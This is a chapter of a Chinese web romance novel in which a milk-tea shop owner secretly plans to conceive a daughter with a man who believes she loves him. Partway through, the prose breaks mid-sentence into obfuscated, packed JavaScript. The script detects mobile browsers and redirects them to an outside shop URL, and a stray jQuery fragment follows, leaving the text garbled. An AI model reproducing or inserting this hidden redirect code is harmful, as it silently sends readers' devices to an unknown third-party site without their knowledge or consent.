陆淮不知道自己是从什么时候开始习惯这家奶茶店的。
上午十点,太阳会照进玻璃门。下午三点,大学生最多,店里永远吵吵闹闹。傍晚六点,何盼娣会站在操作台后面,一边封奶茶,一边低头算账。
他以前觉得这些都很无聊。现在却一天不来,就浑身不自在。
“陆先生。”
何盼娣抬头叫了他一声。
陆淮几乎是下意识应了一句:“嗯?”
她指了指最上面的纸箱:“帮我拿一下。”
陆淮站起身,两三步就走过去。纸箱很轻,可他还是故意伸长手臂。
何盼娣就在他身侧。很近。近到他低头的时候,能闻见她发间淡淡的洗发水味。不是香水,像刚晒过太阳的棉布,干净得过分。
他喉结轻轻滚了一下,把纸箱放下来。
何盼娣已经低头继续干活,连一句谢谢都没说。像是默认了,默认他会帮。
陆淮却忍不住笑了。以前,她总会客客气气地说“麻烦陆先生”。现在不了,她开始使唤他了。
这是不是说明……她已经把他当成自己人了?
想到这里,陆淮嘴角压都压不住。
“陆先生。”她又叫他。
陆淮立刻回头:“嗯?”
“帮我尝尝。”她把一杯新做好的奶茶递过来。
陆淮接过,喝了一口。其实没尝出什么区别,还是认真地点头:“好喝。”
何盼娣眼睛弯了一下:“我也去尝尝。”
说着,她十分自然地把奶茶拿了回去,低头就着他刚刚喝过的位置,轻轻吸了一口。
陆淮整个人僵住。耳根一点一点开始发热。
她……是不是不知道?还是……故意的?
奶茶还是那杯奶茶。可他却觉得,嘴唇刚才碰过的位置,忽然烫得厉害。心跳快得几乎压不住。
何盼娣却毫无察觉。她认真尝了尝,点点头:“嗯,糖放少点,更好喝。”
说完,又继续低头忙自己的。
陆淮站在原地,手里还握着那杯奶茶,忽然觉得今天的风,好像都是甜的。
这天中午,店里没什么客人。
何盼娣把一碗炸酱面放到陆淮面前,筷子压在碗沿上,热气袅袅升起来。
“趁热吃。”
陆淮愣了一下:“给我的?”
“嗯。今天中午多做了一碗。”
其实根本没多做,她是特意做的。
陆淮低头看着面,忽然有点说不出话。以前,她对他一直都很客气,礼貌、疏离,像隔着一层看不见的玻璃。现在,却开始惦记他有没有吃饭。
他心里忽然有一种说不上来的满足。就好像追逐了很久的人,终于肯朝自己迈了一小步。
他低着头笑,耳朵却一点一点红了,连筷子都捏得紧了些。
何盼娣却完全没往那个方向想。
她一边擦桌子,一边偷偷打量陆淮。越看越满意。长得是真好,皮肤白,眼睛漂亮,鼻梁高,个子也高。
关键是——她忽然想起很久以前,陆淮说过的话。
他说:“我不结婚。也不要孩子。我陆家男人都不是好东西,我可不能祸害别人姑娘。”
那时候她只觉得这人说话怪。现在想想,真好。
她现在已经有两个儿子了,日子也过顺了。她想要的,只剩一个漂漂亮亮的小闺女。她不想结婚,更不想再和谁组建家庭。
陆淮也一样。他不要婚姻,不要孩子。那以后就不会有人跟她抢孩子。
想到这里,何盼娣心里最后一点顾虑,也慢慢放下了。
她望着陆淮,越看越顺眼。这个人,基因好,姐姐也长得漂亮。以后生出来的小闺女,指定好看。
陆淮完全不知道她脑子里在想什么。
他只发现,何盼娣最近越来越关心自己。天气热,会给他留一杯冰奶茶;天气凉,会提醒他添件外套。忙不过来的时候,第一个喊的人也是他。
“陆先生,帮我拿一下。”
“陆先生,尝尝这个新品。”
“陆先生,今天早点回去休息。”
每一句,都像羽毛一样,轻轻落在陆淮心口。
他觉得,自己这两年没白找。她终于开始接受自己了。苏曼说得没错,他早就栽了,而且栽得心甘情愿。
晚上回到家。
陆淮抱着手机,看着何盼娣那个用了好多年的微信头像,翻来覆去看了半天。最后什么也没发,只是抱着手机,一个人躺在沙发上笑。
苏曼从楼梯下来,看见这一幕,停住脚步。
“笑什么?”
陆淮立刻收起手机:“没什么。”
苏曼扫了他一眼,淡淡开口:“以前让你结婚,你跑得比谁都快。现在,人家给你做碗面,你就高兴成这样?”
陆淮咳了一声:“那能一样吗?”
“哪里不一样?”
陆淮想了半天,忽然低低笑了一声:“她……好像开始喜欢我了。”
苏曼沉默两秒,没有接话。
她只是静静看着自己这个傻弟弟,忽然觉得有点可怜。
她见过何盼娣。那个姑娘眼睛太干净了。干净到——恐怕连陆淮自己都不知道,她对他越来越好,未必是因为爱情。
可这句话,苏曼最终还是没有说出口。
她只是轻轻叹了口气。
有些路,总要他自己走。
-
雨点砸在玻璃上,噼里啪啦的,像是要把整座城市的喧嚣都隔绝在外。
奶茶店早就打烊了。
大半的灯都熄了,只留着吧台上方一盏昏黄的壁灯。空气里还残留着淡淡的奶香和红茶的涩味,安静得落针可闻。
何盼娣立在吧台后,指尖捏着绒布,慢条斯理地擦拭着最后一只玻璃杯。杯壁折射出冷质的光,一如她此刻波澜不惊的眉眼。
吧台另一侧,陆淮坐在高脚凳上,像一尊失了魂的雕塑,一动不动。
谁都没有开口。可空气中却像被拉扯到了极致的弓弦,每一寸呼吸都绷得发紧,压得人几乎喘不过气来。
良久,何盼娣终于放下了手中的杯子。她绕过吧台,一步步走到他面前。
“陆先生。”
她垂眸看他,声音很轻,平稳得像一潭深不见底的静水。
“你不回去吗?”
陆淮微微仰起头。那双素来总是含着三分笑意的桃花眼,此刻炙热灼人。眼底像是有什么东西在疯狂地烧,又像是有什么东西在无声地碎裂。
他褪去了所有成年人的体面与客套,再开口时,嗓音沙哑得不成样子,带着一丝孤注一掷的执拗。
“盼盼,我今晚……不想走了。”
何盼娣微微一怔。
她静静望着他,澄澈的眸子里没有半分被戳破心思的悸动,只有近乎冷酷的审视。心底那个酝酿已久的决定,在这一刻彻底落定。
她抬起手,微凉的指尖轻轻抚上他滚烫的脸颊。
“陆淮。”
她换了称呼。语气认真,又笃定得不容置疑。
停顿了半秒,像是在确认最后一道程序的运行。
“那你想不想……跟我回家?”
陆淮整个人骤然僵住。
他死死盯着她,像是没听清,又像是怕自己一旦确认,就会惊碎这场幻梦。胸腔里的心跳轰然炸开,震得耳膜都在发颤。
“你说什么?”
何盼娣静静看着他,眼底亮得像窗外划破雨夜的天光,带着致命的蛊惑。
下一秒,她微微俯身,凑了过去。柔软的唇瓣极轻地擦过他的唇角。
很轻。像一片羽毛,却带着燎原的火星。
陆淮的世界,在这一瞬轰然空白。
所有理智、隐忍、克制,在这一刻彻底崩塌成灰。
他猛地起身,长臂一伸,牢牢扣住她的腰肢,将她稳稳抵在吧台边缘。身侧的玻璃杯被骤然的动作带倒,滚落台面,发出一声清脆的轻响。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693874|207529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他全然不顾。
掌心收紧,将她死死按在怀里,呼吸粗重而灼热,尽数喷洒在她的颈侧。
“何盼娣。”
他咬着牙出声,嗓音控制不住地发颤,透着股又凶又怂的绝望。
“你知不知道,自己在做什么?”
何盼娣清清楚楚。
她比这世上任何人都清楚自己的每一个动作、每一步选择。
抬眸迎上他滚烫的目光,她抬手勾住他的脖颈,踮起脚尖,主动吻了上去。
陆淮彻底溃不成军。
他反客为主,将她紧紧揉进怀里。这个吻凶狠得仿佛要将她拆吃入腹,却又在触碰的瞬间极尽小心翼翼。
凶狠,是积攒了三年的思念与求而不得。
小心,是怕惊扰这场迟来的重逢,怕终究只是一场大梦。
何盼娣任由他沉沦缱绻,顺从地闭上双眼,褪去了所有感官上的悸动与慌乱。
在这令人窒息的缠绵里,她的脑海里异常清醒,只剩下一个精准到冷酷的念头:
时机刚好。
这回,一定得生个闺女。
暴雨下了一整夜,缠绵未停。
天光破晓,雨歇风静。
清晨的阳光透过窗帘缝隙,碎金般洒进屋内。
陆淮醒得极早。
他侧身躺着,一瞬不瞬凝视着身侧熟睡的人。何盼娣的长发散落在枕间,脸颊带着未褪尽的浅红,眉眼温顺。
他静静看了很久,眼底盛满失而复得的珍视。
低头,在她光洁的额头落下一个极轻极轻的吻。
一年颠沛寻觅,此刻终于落地。
他轻手轻脚起身穿衣,走进厨房,笨拙又认真地熬着养胃的白粥。
心里已经悄悄规划好了一切。
等过些日子,他就求婚,让她甩了哪个乡下老公。
他要光明正大告诉她,他爱她,爱了整整三年,从未放下。他要给她一个安稳完整的家,再也不让她孤身一人。
何盼娣是被淡淡的粥香唤醒的。
她缓缓睁开眼,目光精准地落在墙上的挂钟——七点半。
坐起身时,腰际深处泛起一阵绵软的酸涩,那是昨夜被彻底征伐过的证明。她垂下眼睫,在脑海中冷静而清晰地复盘着日期与生理周期。
完美的受孕窗口期。
她掀开被子下床,赤着脚踩在微凉的地板上,走到厨房门口,慵懒地斜倚在门框上,静静注视着那个忙碌的身影。
晨曦透过窗棂,给陆淮挺拔的背影镀上一层柔和的金边。他正握着木勺,小心翼翼地搅动着砂锅里的粥,连翻搅的弧度都透着小心翼翼的呵护,满心满眼都是藏不住的缱绻与欢喜。
听见身后细微的动静,他几乎是立刻回过头。
视线相撞的刹那,他眼底瞬间迸射出细碎而滚烫的光亮,像是等到了期盼已久的珍宝。
他怕手上沾着水汽碰凉了她,只克制地悬在半空,最终只是用干燥的指腹,极其轻柔地拂开她额前微乱的碎发。他的嗓音被晨光浸透,温柔得几乎能掐出水来:
“怎么不多睡会儿?再等等,粥马上就好。”
何盼娣仰起头,迎上他眼底那浓烈到快要溢出来的爱意。心底深处,难得掠过一丝极浅、极淡的心虚。
但也仅仅是一瞬。
那点微不足道的波澜便被理智瞬间碾碎、压下。她敛去眸底所有晦暗的算计,再抬眼时,只剩下一片坦荡与楚楚动人的诚恳。
“陆淮。”
她轻声唤他,声音里还带着刚醒时特有的软糯沙哑。
“谢谢你。”
陆淮搅粥的动作微顿,眼底的笑意还未散去,神情却透出几分纯粹的茫然:“谢我什么?”
何盼娣微微低下头,视线落在自己赤裸的脚尖上,耳根泛起一层恰到好处的薄红。
“没什么……”她咬了咬下唇,声音压得极低,带着几分欲说还休的娇嗔与回味,“就是觉得……昨晚,你太棒了。”